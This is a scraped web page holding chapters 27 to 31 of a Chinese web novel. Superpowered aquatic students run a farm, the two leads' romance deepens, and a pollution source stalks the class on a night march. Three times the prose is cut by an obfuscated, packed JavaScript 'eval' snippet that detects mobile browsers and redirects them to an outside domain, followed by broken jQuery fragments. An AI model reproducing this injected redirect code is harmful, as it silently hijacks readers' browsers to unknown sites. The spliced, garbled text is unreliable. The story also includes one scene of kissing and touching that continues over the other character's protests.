;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284431|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能的，自然环境因素在不断循环影响，多多少少会有一点。 看过了沙伍的半吊子净化后，两位专业的净化者演示正经净化。 和沙伍净化后的竖壁清野不同，虾同学和小丑鱼净化后的草丛还是原来的草丛，但像是多了一层柔光滤镜。 陶华继续检测：“0.3和……0.3。”看上去纤弱的水母触须扫断一片试图攻击她的变异杂草，“还是沙伍的净化更省事。” “没问题的话，我在大地图上先划下地盘……建好电子围栏。”海豚班长动作很快，先在所有一年级新生都能看到的大地图上划好十班的势力范围，然后才在班长聊天群里通知。 “斜杠”方案显然遭到了另外九个班级的集体反对，但是反对无效。 海豚班长简单粗暴地发了一条语音：“不是征求你们的同意，是通知。不服来干。” 全体十班同学：“班长说得对。” “还有人不服的？” “不服我们完全转化的？哪来的胆子？” 按照现在的划分，完全转化的学生全都在十班，变异值最低的是B级小丑鱼，S级的有好几个。 剩余九个班级，S级加起来也没他们班级多。 “他们大概连今天的晚饭在哪里都还不知道，有空跟我们叽叽歪歪？” 一群人七嘴八舌说了一通，沙伍就请假回去补课。 姜纶当然是跟着一起，把准备往宿舍楼走的沙伍拉到码头，那里停靠着一艘和破破烂烂监测点环境格格不入的豪华游艇。 “这就是你在墨城买的新船？”闪闪发光，很符合钻石小少爷的风格。 “嗯。”姜纶没急着登船，拉着他看船名，“小鲨鱼号！” 沙伍一下就涨红了脸，不知道该说什么，跳到姜纶的背上。 姜纶顺势把他背起来，一路跑上船。 甲板上，小风已经布置好了临时教室：“这会儿海风吹着舒服，把教室放外面了。” 巨大的遮阳伞下，摆着的确实是课桌椅，桌子上摆着的除了一个柔软的成熟度刚刚好的变异柠檬外，还有漂亮的果汁和点心盘，不知道的还以为是在南方小岛。 沙伍一看到变异柠檬就把脸埋进去，深呼吸一口气：“啊……我想带着军训的柠檬被老师扔了。” 姜纶给他涂防晒：“没扔，就是这个，给你送回宿舍了。” “我穿的作战服，用不着防晒。” “涂都涂了，随便抹一下？”说着就勾着沙伍的下巴让他抬起头，轻轻给他脸和脖子上抹匀。 沙伍暂时性闭嘴，等抹完问：“我也帮你涂？” 姜纶拒绝：“不用，我皮厚。” 沙伍想到自己在姜纶钻石皮上损失的牙齿，叉起一个水果塔恨恨咬了一口，甜甜的口感很快就让他高兴起来，拉着姜纶埋在他颈窝吸了一口：“好了，上课上课。” 姜纶听着他语气中的不舍，嘴角下意识上扬：“吸一口就好？不咬两口？” 沙伍十动然据：“不。我刚长好的牙。” 他坐在书桌前的背影有一种决然，用手环连线家庭教师。 家庭教师已经待命，刚想开始上课就注意到沙伍的表情，迟疑：“是发生什么不好的事情了吗？”怎么瞧着这么……悲怆？ 28.第二十八章 破烂单人床 沙伍可以在船上吃饭、学习，但军训和睡觉得回监测点宿舍。 监测点宿舍非常简陋，摆设只有一张单人床和一个书桌，椅子都没一把。 沙伍怀疑是学校宿舍淘汰下来的旧家具，瞧着比他住过的学校招待所还破旧。 他从外面找了一块石片，把摇晃的床给大致弄平稳。 才躺了两天，床又摇了起来。 “怎么睡在地上？”姜纶对着送他过来的班长笑笑，门一关上就皱眉，“不是说宿舍住得习惯吗？” 门外的班长盯着房门挠了挠后脑勺，总觉得小少爷和沙伍之间的关系有点怪怪的。 沙伍在听到脚步声靠近的时候就醒了，只是瘫在地上不想动，睁开一双明显没睡好的眼睛，握住姜纶伸过来的手站起来，嘟嘟囔囔地抱怨：“床太小了。唉，我过去十几年一直睡这个大小的床，才在你家睡了两个月大床，睡相就变差了。” 昨天一晚上，他从床上摔下去三次。 第三次，他直接躺平了。 躺平也躺得不安稳，地板太硬，总觉得平躺着会把他的鱼翅压骨折。 他都不知道自己怎么睡着的，想着今天晚上要是没法把床修好，干脆就去海里睡，不知道老师能不能答应。 他伸手把姜纶抱住，深吸一口气，感觉疲惫了一晚上的身体瞬间得到了抚慰：“我先去洗洗。” 姜纶“嗯”了一声，学着沙伍的动作，同样在他脖颈处吸了一口才松手。 “哈。”沙伍猝不及防，被痒得缩了一下脖子，抬手捂住，“你干嘛！” 不等姜纶回答，他就小兔子一样蹿出宿舍，过了几秒钟又回来拿上洗漱用品出去。 姜纶盯着半开的宿舍门，仰躺在沙伍的床上。 单人床不稳地摇晃。 他抬手按了按自己胸口，感觉心脏都在跟着摇晃。 沙伍一直说他闻着很香，他以为那是他的异能对沙伍的吸引力，刚才吸了一口沙伍，好像突然理解了那种勾得人又馋又饿的香。 狭窄的单人床上有沙伍的气息，让他没法清醒，脑子里挤满了乱七八糟的浆糊，看见洗漱完进来的沙伍，下意识咽了咽口水，说了一句：“还没吃早餐。” 沙伍刚想说什么，看到他滑动的喉结，脚步往后退了半步，把宿舍门给关上了。 啥意思？ 想把他当早餐吃了？ 轻微的关门声像是在两人耳膜炸开的惊雷。 “嗯。”沙伍不理解自己怎么被压在了床上，瞪大眼睛看着紧贴着自己的姜纶，在被撬开嘴唇的时候发出轻哼。 很香……沙伍感觉自己恍惚间回到了到大学的第一晚。 香味勾得他又饿又馋，凭着本能索取更多，又恍惚记得这是姜纶，不能用力咬。 姜纶感觉心口像是住着一条小鲨鱼，在那儿来回扑腾，脑子里什么都不想，只想把他的小鲨鱼吃掉。 对，吃了他。 “嘶……”沙伍被脖子上的刺痛从混乱中惊醒，又不是很清醒地双手环抱住姜纶的后背，带着鼻音哼哼，“疼。” 要命！ 姜纶的眼睛都红了，盯着白皙脖颈上的咬痕，下意识舔了舔：“我轻点。” 沙伍感觉一阵酥麻从脊背蔓延，仿佛被自己用异能炸掉的杂草，整个人像是变成了粉末，压根不知道究竟在干嘛。 他本来就对姜纶身上的香味没有抵抗力，只是平时姜纶的异能高度收敛，想要闻两口解解馋都得凑近了贴贴才行，现在这种香味把他整个包围，熏得他有点醉。 这种香味和以前的香味不太一样，他说不上来。 “嘭！” 床塌了。 听到动静过来的同学和老师，只看到姜纶把沙伍抱出去的背影。 “沙伍摔伤了？” 姜纶含糊地应了一声：“我带他去船上。” “宿舍的床是真的破。” “我昨天晚上都睡地上。” 同学们的议论声消失在耳畔，沙伍把脸埋在姜纶的胸口，坐上飞车才稍微分开了一点，早上海边的凉风把他脑子吹清醒了一点，张了张嘴想说什么，又被吻住。 不、不是，说好的兄弟呢？ 谁家兄弟会亲亲的？ 哦，他在孤儿院的时候好像听说过……“等等等！你干嘛干嘛干嘛！” 飞车的座椅放平，比宿舍的单人床宽敞且舒服……不是！手放哪里！ “你平时对着我又咬又舔又吸的，我摸两下怎么了？”姜纶理直气壮，沙伍平时的力气都对他不算什么，更别说现在他整个人都软软的。 天啊，怎么这么……馋人。 “这叫摸两下吗？”沙伍据理力争。 姜纶同样据理力争：“摸哪里不是摸？”然后就摸了“哪里”和“哪里”。 “嗯……”沙伍的声音都变调了，深刻感觉到大白鲨是一条软骨鱼，现在全身找不出一根能支棱的骨头。 飞车很快到了船上。 车库里的感应灯亮了又暗。 突然整辆飞车像是纸片一样被撕开。 沙伍整个人晕眩了一下，发现自己被卷在空中，丢进车库隔壁的大厅里。 他跌坐在地上，愣了三秒钟，突然跳起来就往自己的房间跑。 在车库里的姜纶被风系异能糊在墙上：“放我下来。” 小风微笑：“小少爷冷静了没？” “我很冷静。”看到沙伍对自己的亲近依赖就身心愉悦，不喜欢沙伍把注意力放在别人身上，他知道自己和沙伍的相处和普通的异能者和专属净化者之间很不一样，只是不明白究竟哪里不一样。 现在他明白了。 小风还是没把他放下来：“您需要更冷静。小伍的身体状况不适合进行一些成年人的活动。” 一个S级异能值的人，在最需要能量的成长期，只摄入普通人的能量，身体的亏空是一个相当庞大的数字。 把这些亏空填满，不是简单注水就行，而是需要精密地一点一点修复、温养。 姜纶闭了闭眼，过了好一会儿才深呼吸一口气：“好了，我冷静了。” 小风收回异能，把姜纶从墙上放下来：“船上没给小伍准备房间，他现在在你房间里。” 姜纶倒抽一口冷气，脚步一下停住，身体一个趔趄，靠在墙上：“你去准备早餐吧，我冷静一下。” 他克制不住自己不去想，沙伍在他房间里干嘛？ 是不是在用他的卫生间？ 刚才被他挑起的热情是不是会让他在里面做一些需要平复的事情？ 是不是会穿他的衣服？ 会不会躺在他的床上？ 他下意识点开手环联系沙伍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16296517|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沙伍倒是很快就接通了，语气中有些恼羞成怒：“干嘛？” 姜纶戳了戳屏幕：“视频。给我看看你在干嘛？” 沙伍迟疑了两秒，才同意视频，看到姜纶那边只有微弱的应急灯的光线，疑惑：“你还在车库？” 姜纶“嗯”了一声，注意到沙伍确实在他房间里，身上的衣服已经整理好，除了嘴唇微微泛红，看不出一点刚才的痕迹，当然也没有他想象中的那些画面：“小鲨鱼，我……” 沙伍打断他，猛地说了一句：“我去餐厅了！” 姜纶微微瞪大眼睛，不可思议地看着结束的通讯，想也没想就追去餐厅：“小鲨鱼，你怎么可以……” “干嘛！”原本快把脸埋进餐盘的沙伍，用比他更凶的语气打断他。 姜纶看着他通红的脸和眼中的水光，突然就高兴了，拉了把椅子坐到沙伍身边：“没干嘛。” 小风只能把原本放在距离沙伍最远位置的餐盘，端过来放在姜纶面前：“吃吧。军训要开始了。” 第一天只是给学生们熟悉环境，接下来军训的强度只会一天比一天强。 军训任务除了每人三亩地之外，更重要的是学习军队纪律，以及开始接触武器使用。 别看只是最最基础的军队纪律，连新兵的强度都不到，新生们每天结束军训都累得跟狗一样，连吐舌头的力气都没有。 沙伍原本脑子里还想着美味小少爷，结束一天训练，游魂一样吃完饭，回到宿舍倒头就睡。 宿舍里的床坏了，监测点没有条件换新的，他直接就躺在地上，也不说地板会硌到他鱼翅了，更没时间和姜纶讨论什么感情问题。 没有参加那些常规训练的姜纶，差不多是一个人在整理斜杠农场。 选中的土地本来就靠近监测点，污染值算是轻微的。 十班到底全是完全转化异能者，异能值不是一般的高。 哪怕每天军训完毕后累死累活，也还有多余的异能值可以消耗在净化和清理土地上。 一周后，十班的军训目标已经完成，甚至在规定面积的地块挖掘了沟渠，修建了一座小型水闸，管网铺设也接近尾声。 “净化植物已经缓苗好了，明天早上还是晚上有时间？”晚餐时间后，姜纶例行给同学们展示农场的改变，“需要种下去。” 类似净化植物这种特殊功能的植物种植，目前大量依赖人工。 同学们都明白。 海豚班长问了一下李老师，得到答复后才回答：“早上五点半到六点半可以挤出一个小时，明天的训练到下午四点结束，接下来的时间可以自由安排。” “好。”姜纶记下时间，按照惯例拉着沙伍回船上。 对于沙伍吃独食这点，同学们都没什么意见。 作为一条应该已经接近成年体型的大白鲨，沙伍的觉醒体就这么点个头，是个人都知道他面临多么严重的营养不良问题。 倒是他们走回去的路上，遇到隔壁班级的同学阴阳怪气：“唷，你们还要吃食堂啊？怎么不跟小少爷一起上船吃大餐啊？看你们抱大腿抱得挺紧的啊……啊！” 水母纤细的触手把人直接卷着举高，让人瞧着像是一个风筝，只是不会动。 可爱的圆脸女生微笑：“训练一天已经很累了，安静一点好吗？” “风筝”同学：“好的。” 29.第二十九章 一个（人形）坑 有其他班级的同学找姜纶借农机。 姜纶没有借。 跟沙伍说起来的时候，他带着点小炫耀：“军训任务只是每人清理出三亩地，土地的所有权又不归新生。他们借农机来干嘛？” 结束一天军训后的傍晚，两人用过晚餐，沙伍被姜纶团吧在怀里，努力忽视那点小别扭，眼神有些涣散地看着海上落日：“他们也想干农场？” “跟风罢了。监测点的农场哪那么好干？”游艇甲板上的躺椅比宿舍的单人床更大。 按照姜纶内心的想法，最好是待在他房间的床上，可惜…… 他的视线扫过坐在不远处虎视眈眈看着他们的小风，内心叹气。 真是的，他又不是不知轻重的人。 之前是……上了头，才会克制不住，现在他知道了，肯定能忍住。 嗯，悄悄吸一口，解馋。 沙伍的手轻轻拍在他胳膊上：“松开。”等姜纶的手臂微微放松了，才顺着他的意思问，“那你怎么干的？得要上级部门和监测点老师们的同意吧？” 3号监测点现在只有三位工作人员，一个防御、一个攻击、一个净化，三个人还都是精通技术的大佬，天天忙得神龙见首不见尾。 虽然监测点的工作福利待遇很高，但工作强度、工作环境和工作要求都不是普通异能战士能够胜任的。 “我答应给监测点更换一些仪器设备。”钻石系异能者使用了钞能力。 “哦。”沙伍没听清楚他说的什么，被喜欢的气息包裹，很快就睡着了。 姜纶听着他平稳的呼吸有些惊讶，下意识收拢手臂，想到他刚才的抱怨又松开，小声呢喃：“对我这么放心？” 他对自己都不放心。 太阳很快沉入海平面。 光线消失的那一刻，姜纶像是被惊醒，对着走过来的小风说道：“我送小鲨鱼回宿舍。” “早去早回。” “……好。” 熟悉的宿舍，里面换了一张新的单人床，很普通的样式，比原先的要更宽更长。 姜纶把沙伍放到床上，注意到他微微颤动的睫毛：“吵醒了？” “我只是累了，又不是死了。”其实是陌生的触感让他警醒。 宿舍里没开灯，黑暗中只能看清楚一点轮廓，只有姜纶熟悉的气息让他感到安心。 “开灯……嗯。” 骤然亮起的灯光，映照出姜纶的脸。 哪怕是这么近的距离，都看不出一丝瑕疵，怎么有人可以帅成这样？ 又帅，又好亲。 怎么以前只想着咬两口，没想到亲两口？亏了亏了。 沙伍乱七八糟地想着，在姜纶退开一点的时候，下意识追上去亲，还把人摁到床上。 姜纶别开脸，一手捂住自己的眼睛，努力克制着用另外一只手抵着沙伍的肩膀：“别……我怕我忍不住。” 沙伍下意识反问：“为什么要忍？” 姜纶听得倒抽一口冷气，放下手露出自己一双泛着红光的眼睛，从床上几乎是跳下去，退到墙边：“你的身体状况还不可以。这、这种事情消耗太大，对你不好。” 被推得跌坐在床上的沙伍干脆盘腿坐好，歪头：“亲亲有什么消耗？” 嘤~小鲨鱼歪头好萌~ 姜纶感觉自己的命都快没了，慢三拍才接收到沙伍的意思，不敢置信：“你只想亲？！” 小少爷不高兴了。 单人宿舍的空间本来就很小，摆了一张单人床后，剩余的空间也就一米左右，对身高腿长的小少爷来说，也就是一步。 他单膝跪在床沿，俯身靠近，语气中带着质问：“对着我这么帅的男朋友，除了亲，你就不想干点别的？” 沙伍听得懵懵懂懂：“什么男朋友？别的还有什么？” 姜纶一听，刚才装出来的气愤瞬间变成了真生气，抬手想把他压在床上，想想有点危险，换了个方向把人推在墙上：“你亲都亲了，睡都睡了，还不认？” “什么时候睡了？你胡说！”沙伍跳脚，只是被姜纶这么压着动不了，只能伸直了腿，踢了他一下，还不敢用力。 姜纶感觉被踢到的小腹，像是遇到了爆发的海底火山，凑过去重重亲了他一口，并撂下狠话：“你等着！” 说完，他直接跳窗跑了。 这是四楼！ 沙伍追到窗边，双手撑在窗边的书桌上往下看：“没事吧？” “没、没事。”姜纶慢吞吞从宿舍楼下站起来，坐上飞车走了。 巨大的声响引来宿舍楼里其他人的探视，只看到一个豪华飞车远离的车屁股。 沙伍往楼下看了看，黑黢黢的看不出什么来，想想不放心，还是往楼下跑去。 考虑到污染区域的生物发生污染和攻击性变异的概率较高，整个监测点除了一小部分地块进行了农业种植，剩下的土地都做了硬化处理，包括宿舍楼下的地。 现在这片地上多了个人形凹坑。 沙伍用手环拍了一张照，轻嘶了一声，把照片发给姜纶，一个字都不说。 姜纶那边很快传回来恼羞成怒的怒吼：“你去睡！马上！立刻！” 沙伍蹲在凹坑旁，歪头刷自己的联系人列表，最后选择了宿舍的园丁薛春：“薛哥，帮个忙。”把人形凹坑一并发过去。 水产养殖学院里全是水系，异能中有带一点土系的，但想要把地面恢复到能够达到监测点要求的土系异能，他认识的新生里没有一个能做到。 老师里或许有，但他不熟。 薛春回复很快，声音中带着笑：“交给我，你该去上课了。” “好。”沙伍看了看时间，回到寝室里开始看家庭教师提前录制好的课程视频。 晚上九点，薛春踩着飞板到四楼，敲了敲窗户。 正在专心做作业的沙伍吓了一跳：“薛哥？你连夜赶过来的？” 薛春好脾气地笑笑：“谈不上连夜不连夜的，这边离学校不算远。地，我已经修好了。” “啊？我一点动静都没听到。”沙伍探头往楼下看，虽然什么都看不到。 “好了。我赶回去吃宵夜，你也去睡吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16296518|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛春跟沙伍摆了摆手，就踩着飞板缓速离开监测点范围，出了隔离栏后瞬间加速，在夜空中留下一道浅蓝色的风系异能痕迹。 沙伍显然没反应过来：“速度好快。” 薛春用的飞板，显然和监测点的破木板车不是同一个东西。 他下意识查询了一下飞板的价格。 刚才光线太暗，他没看清楚型号，但薛春的飞板外型还是很有特色的，大差不差找到几个品牌，最便宜的一款88万，还要考取专业驾驶资格证，并且仅限野外使用，在城区使用会被罚款，情节严重的会被没收。 他看了看自己最近终于凑满30万的存款，突然觉得这帅的飞板，自己也不是没资格肖想。 哦，不对。 他这是还没正式开始学到花钱的地方，根据夏华学长的经验，大二下学期就要开始在学习上进行投入了。 还是得存钱。 走神了一会儿，他重新把注意力回到作业的页面，把最后几道题做完，关灯休息。 新床睡得很舒服，姜纶还给他偷渡了一个变异柠檬。 只是这一觉他没睡到天亮，半夜的时候警报声拉响。 “唔呜~~~” 整个监测点的人都在第一时间起来，飞快穿戴完毕下楼集合。 关于快速集合，他们已经很熟练了，哪怕有少数同学边跑边穿作战服，三分钟内也完成了列队。 天空中飘着雨星子，白天还有些燥热的温度，到了晚上瞬间进入到了另外一个季节，让刚刚醒来的学生们瞬间头脑清醒。 有相当一部分没搞清楚温度，穿着夏季作战服的学生，脸色发白，显然感觉到了寒冷。 老师们显然比较满意他们的表现，并且发布命令：“现在进行10公里野外拉练。现在每个班级到带队老师身边领取装备。路线已经发布到了你们的手环上。” 沙伍的个子在十班男生中最矮，排在第一个上前领装备。 20公斤的分量对他来说不算什么，回到队列后打开手环，先去看路线：“我们怎么是15公里？” 李老师疲倦的面容上透出一种超脱，语气相当云淡风轻：“哦，鉴于你们精力过于旺盛，多增加5公里。” 天天打架，天天打架！ 学生们可以用孩子还小作为理由，他这个当带队老师的不得跟其他班级的老师们解释，不得跟其他班级挨揍的学生赔礼道歉处理善后？ 小孩子有空作妖，无非就是精力太旺盛，多消耗消耗他们的精力就好。 十班学生顿时在没有李老师的班级群里，疯狂打字骂骂咧咧。 海豚班长清点完人数：“报告老师，应到人数26人，实到人数25人，姜纶缺席。” 李老师摆摆手：“他有另外的训练任务。好了，出发吧。我去目的地等你们。” 其他人以为另外的训练任务是小少爷睡觉的修辞说法，压根没想到姜纶刚睡下就被夜鹭一爪子丢到了某片丛林里：“去给你家小鲨鱼采集一顿早餐的食材。” 给小鲨鱼的？ 这个可以有！ 30.第三十章 污染源 老师规定的拉练路线相当无趣，几乎是笔直的一条。 考虑到3号监测点周围是一片平原，确切的说是一片荒原，似乎确实没必要有过多弯折。 夜晚的野外和他们已经渐渐熟悉的白天的野外非常不一样。 植物的攻击性更强，还有一些他们白天从来没见过的变异动物。 刚开始的两公里范围很平静。 这段路紧邻监测点，上面的变异生物已经被清理得七七八八，剩下一点也不成气候，不会对学生们构成威胁。 眼前百米宽的河道是第一道坎。 “我感觉心底发寒。”虾同学已经变成了一只手指大小的透明虾，被海龟同学捧在手心里，还想往他袖子里钻。 无奈作战服都是贴身设计，根本钻不进去。 异能值更低的小丑鱼刚养好伤，只恨自己不是水陆两栖，勉强维持着人形不逃跑，腿已经软了：“河里有个很强的污染源，活的。” 海豚班长背起小丑鱼，果断下令：“绕开！” 沙伍跟着走了两步，还在恋恋不舍地回头看：“还可以绕开的？” 这个异能强度给他的感觉，好像也不是打不过，就是河道没有大海那么大那么深，拉锯的空间有限。 “打不过当然绕开啊。” “快走！” 沙伍只能跟着同学们多走了两公里，才找到合适的地方渡河。 这个河段的水流湍急，晚上还涨水了，污染的气息比刚才淡了很多。 他特意游在队伍的最后面，把体型较小和速度较慢的同学们装在泡泡里，先把泡泡送上岸，交给作为先锋的海豚和蓝鳍金枪鱼。 海豚班长在岸上喊人：“沙伍，快上来！” 话落，一条异能形成的将近十米长的鲨鱼猛地从水底跃起，确切的说是被撞飞，在空中破碎，又结合变大的雨水变成许多不同大小的鲨鱼，像箭雨一样射入河流。 “咔、咔、咔”地艰涩咀嚼声响起，显然是沙伍的异能鲨鱼在啃噬污染，吞噬异能。 同学们见惯了沙伍用咪咪小的小鲨鱼清理变异杂草，头一次见他用这么大的鲨鱼，竟然还处于劣势。 他们也才意识到：“那个污染源一直跟着我们！” 他们竟然没有一个人发现。 夜晚混乱的气息显然对他们的感知造成了极大的干扰。 沙伍已经混在漫天异能鲨鱼中飞落到了岸上，变回人形招呼：“快走！” 同学们没有任何犹豫，跟着他飞快远离岸边。 身后的河道里卷起滔天巨浪，扑向逃窜的众人。 两道水系盾牌亮起，迟滞了几秒，给他们争取到了逃跑的时间。 他们一直跑了半小时，才停下来休息。 “呸！”沙伍扯了一个空的大泡泡，把整个班级的同学都包裹起来，当做一个临时营地，捂着嘴，凝聚了一点水漱口。 海豚班长关心地问：“受伤了？” “没。”沙伍漱口完，脸色还是不好看，从背包里找能量棒补充体力，“那玩意儿的污染和异能味道都好难吃。”为了使自己的话更具说服力，他指了指压缩饼干，“比压缩饼干更难吃。特别硬，咬上去渣渣的，一股土腥味，臭烘烘的。” “那确实很难吃了。” 这几天他们军训的时候，接触了单兵口粮。 其中大部分是正常口味，只是需要一定的加热时间和相对安全的环境。 紧急情况下，能量棒和压缩饼干是首选。 带着奇怪鱼腥味混杂着水果味的牙膏（能量棒）已经够难吃了，压缩饼干更是难吃到一定高度。 用班级里最不挑食的虾同学的话来说，砖头都比压缩饼干好吃。 他们贫瘠的想象力，根本无法想象还有什么东西是比压缩饼干更难吃的。 “不是，污染和异能还分口味的？” “当然，这几天清理的杂草大部分都有点抹茶味？有些会酸酸甜甜，不过多少有点涩。”完成每天的除草任务后，顶多就像是刷了好几遍牙，倒是谈不上难吃。 主要是杂草的异能值和污染值都很低，口味比较清淡。 团在郑燕珺肩膀上的桃花水母变回人形：“沙伍，你看清楚攻击我们的是什么了吗？” “没。”沙伍推测，“是不是哪个老师故意给我们制造障碍？” “可能性也不能说完全没有。”同学们迟疑，纷纷用异能把自己弄干。 虽说大家都偏水系异能，但他们本质上是人，不是别的生物，人形的时候湿哒哒的并不舒服，还会带走大量的体温。 从他们出发到现在，时间也就过去了一个小时，但感觉又累又饿，这会儿坐下来休息，补充点能量。 小丑鱼对污染比较敏感，感受不到威胁后，慢慢回过味来：“那好像是个人？” 他不太确定地看向虾同学。 沙伍这种现在连是不是人都不能准确分辨的渣渣，被他扫了一眼就略过了。 沙伍抗议：“……教教我啊，我在努力补课。” 海豚班长解释：“污染值高的完全转化异能者，很难区分人和变异生物。” 虾同学已经变回人形，脸色还有些苍白：“净化异能者分为对自然环境净化的自然净化者，和主要净化异能战士精神污染的战斗净化者，这点你应该学过了吧？” “嗯。”沙伍盘腿做好，认真听课。 见状，虾同学的神经略微放松了一点：“虽然非净化者会觉得这两者之间没有严格区分，很多时候可以通用，但其实还是很不一样的。” 作为半吊子净化者，沙伍很快想明白，打了个比方：“同样是穿的，一个是衣服，一个是裤子。” 虾同学和小丑鱼同学都表示赞同：“是这个意思。” “我偏自然净化者，花杨蓉是战斗净化者。”花杨蓉就是小丑鱼同学，“花杨蓉对异能者的感受更加明显。” 沙伍联想到自己的情况。 作为一名针对姜纶的专属净化者，他果然对姜纶的感受特别明显，很远就能闻到香香的小少爷。 “嗯！” 小丑鱼看着深夜中已经呈现白色的雨幕，精神紧绷：“异能战士等级到四级就开始接触控制并使用污染。污染是一种身体保护机制，释放污染是一定程度解除限制，可以有效提升战斗力。但刚才那个污染源给我的感觉，已经超出了界线。” 污染能够有效提升战斗力，但也会对身体构成损伤。 净化者的工作很大一部分是修复污染造 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虾同学有些不安：“不管刚才那个东西是什么，水位再这么上涨，说不定就要跟过来。我们得赶紧走了。” 异能让变异生物的适应性迅速提高。 大部分的水生生物确实只能在河流湖泊海洋中生存，但很多变异水生生物在干旱环境中，也能生存很长一段时间，更别说现在还下着大雨。 大部分同学都是这一次军训才来到污染区域，环境中混乱的污染和异能让他们无所适从。 沙伍倒是还挺适应的。 他经常被夜鹭带到污染海域上课，尽管夜鹭会提前驱赶走一些危险生物，但污染海域的情况显然比眼前更加复杂。 “我把泡泡维持着吧。”沙伍提议。 收拾完负重的同学们见他没有吃力的样子，表示感激：“那太好了。雨太大了，根本看不清路。” 虽然他们也能用膜覆盖住全身，但到底不如这样全班在一起，能够让人在心理上感觉到更加安全。 两位净化者同学的感受更加明显。 外界的环境污染现在已经超过10点，但空气明显流通的泡泡里，一直都是干净的。 戴金玉开着手环导航走在沙伍身侧，沙伍专心操控着泡泡，在已经变成沼泽的荒草丛中前进。 脚下的触感比较飘。 走了一段路后，陶华干脆变成桃花水母，熟练地在郑燕珺肩膀上找到位置：“沙伍，你这泡泡是不是在飞？” “啊？”沙伍确实是在暗搓搓做小实验，被同学说破了就开始笑，“嘻嘻，我想着雨这么大，是不是把泡泡变成鱼游起来。” 他在海里的泡泡就是鲨鱼形状，带人带东西都很节省体力。 “哦~这个可以！”郑燕珺几步走到队伍前面，“我速度快，换我来！” 原本的鲨鱼泡泡瞬间变成了蓝鳍金枪鱼泡泡。 这个泡泡没有鲨鱼泡泡这么大，小体型的同学们纷纷变成觉醒体，其余同学也尽量挤一挤。 同学们刚坐稳，蓝旗金枪鱼泡泡就起飞，速度快到把雨幕割开。 一道幽暗的身影在湍急的河流中悠闲地转了个圈，尾随其后。 31.第三十一章 完全污染 鲨鱼泡泡的速度和小飞车差不多，蓝鳍金枪鱼泡泡的速度直接赶上飞车。 同学们瞬间眼睛就亮了：“喔哦！” “好快！” “妈妈，快看，我在飞！” “妈妈，你知道我是一条鱼，我有点恐高……” 高速能够避免很多危险。 大雨对异能者来说是困扰，对很多变异生物来说也同样。 他们半夜从监测点出发，走了一个多小时才走出三公里，蓝鳍金枪鱼泡泡带着他们不到十分钟就飞了三公里。 由于他们在空中，几乎不用担心河流和草地中藏着什么危险生物。 同学们慢慢放松下来。 海豚班长打开手环开始看其他班级的情况：“可惜每个班级的路线不一样，不然我们可以看看超过了多少个班级。” 其他同学纷纷表示：“什么超过不超过的？就没有班级在我们前面。” “就算我们是15公里，别的班级是10公里，我们肯定是第一个到达目的地。” “他们太菜了。” 海豚班长查看完各班进度，表示满意，走到郑燕珺身边说道：“来，换手。” 于是，蓝鳍金枪鱼泡泡变成了宽吻海豚泡泡。 海豚游起来的速度也很快，就是太颠簸。 三公里后，同学们纷纷出现晕海豚的症状，泡泡变成了海龟。 海龟泡泡宽敞平稳，速度也不慢。 “啊……得救了。” “班长你好好游，干嘛跳来跳去的。” “海豚果然不是正经鱼。” “海豚就不是鱼。” 海豚班长委屈：“班级里不是鱼的多了，干嘛就说我一个？”还有其他虾啊、蟹、田螺、海龟什么的。 沙伍打量着明显比自己鲨鱼泡泡凝实的海龟泡泡，感觉和自己单纯用水系异能构筑的泡泡很不一样，不仅仅是水多一点的问题，想问海龟，又怕打扰他操控泡泡。 “你在看什么？” 沙伍下意识指了指泡泡，注意到是小丑鱼靠了过来：“你是不是有哪里不舒服？脸色好难看。” 小丑鱼表情僵硬：“不是，我刚看你一直在看外面。” 沙伍抬头对一个方向瞧了两眼：“哦，你说那个啊。怎么了？” 小丑鱼的表情顿时比哭更难看，声音颤抖变调拔高：“那东西果然追过来了！” 周围的同学一听，轻松的氛围顿时消失，取而代之的是紧张：“你们说的什么？” “河里的那个污染源吗？” “不是已经被甩掉了吗？” 沙伍眨巴了两下眼睛：“没有甩掉，他一直跟着，就是绕着河道在转圈。” 缺乏治理的大河在下游姿态肆意，河网密布。 他们所处的监测点附近的所有荒原，曾经是、且在必要时现在也可以是黄河的出海口。 这下海豚班长都紧张起来：“你怎么不早说！” 沙伍一脸无辜：“我以为大家都知道。” “要不要问问老师？到底是吓唬我们的，还是真的来了什么危险人物？” “还是问一下吧？” 班长联系李老师，电话根本打不通，改成发消息，界面卡顿：“信号很差，李老师不知道什么时候能收到。可能是监测点的信号塔坏了。” 整个监测点都破破烂烂，信号塔在这种大暴雨中损坏很正常。 沙伍已经走到海龟身边，用手指划了一条线：“他在这么游。” 海龟泡泡试图绕开前面的河段。 